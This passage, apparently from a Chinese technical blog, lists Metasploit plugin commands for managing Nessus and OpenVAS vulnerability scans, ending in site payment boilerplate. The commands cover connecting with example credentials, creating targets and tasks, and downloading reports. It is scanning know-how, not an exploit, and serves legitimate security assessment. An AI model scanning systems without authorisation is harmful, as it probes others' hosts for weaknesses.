       nessus_user_del <User ID>									# 删除用户
       
       # 使用OpenVAS服务器
       openvas_connect admin 123456 127.0.0.1 9390 ok				# 连接服务器
       
       # 查看服务器信息
       openvas_version 											# 查看版本
       openvas_config_list 										# 查看扫描配置
       openvas_disconnect											# 断开连接
       
       # 管理扫描目标
       openvas_target_create <name> <hosts> <comment>				# 创建扫描目标
       openvas_target_list 										# 查看目标列表
       openvas_target_delete <target_id>							# 删除扫描目标
       
       # 管理扫描任务
       openvas_task_create <name> <comment> <config_id> <target_id># 创建扫描任务
       openvas_task_start <id>										# 启动扫描任务
       openvas_task_stop <id>										# 停止扫描任务
       openvas_task_list 											# 查看其状态
       openvas_task_pause <id>										# 暂停扫描任务
       openvas_task_resume <id>									# 恢复扫描任务
       openvas_task_resume_or_start <id>							# 恢复或启动扫描任务
       openvas_task_delete <id> ok									# 删除任务
       
       # 管理扫描报告
       openvas_format_list 										# 列出可用的报告格式
       openvas_report_list 										# 列出有效的报告
       openvas_report_download <report_id> <format_id> <path> <report_name>
       															# 下载指定的报告
       openvas_report_import <report_id> <format_id>				# 导入报告
       openvas_report_delete <id>									# 删除报告
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值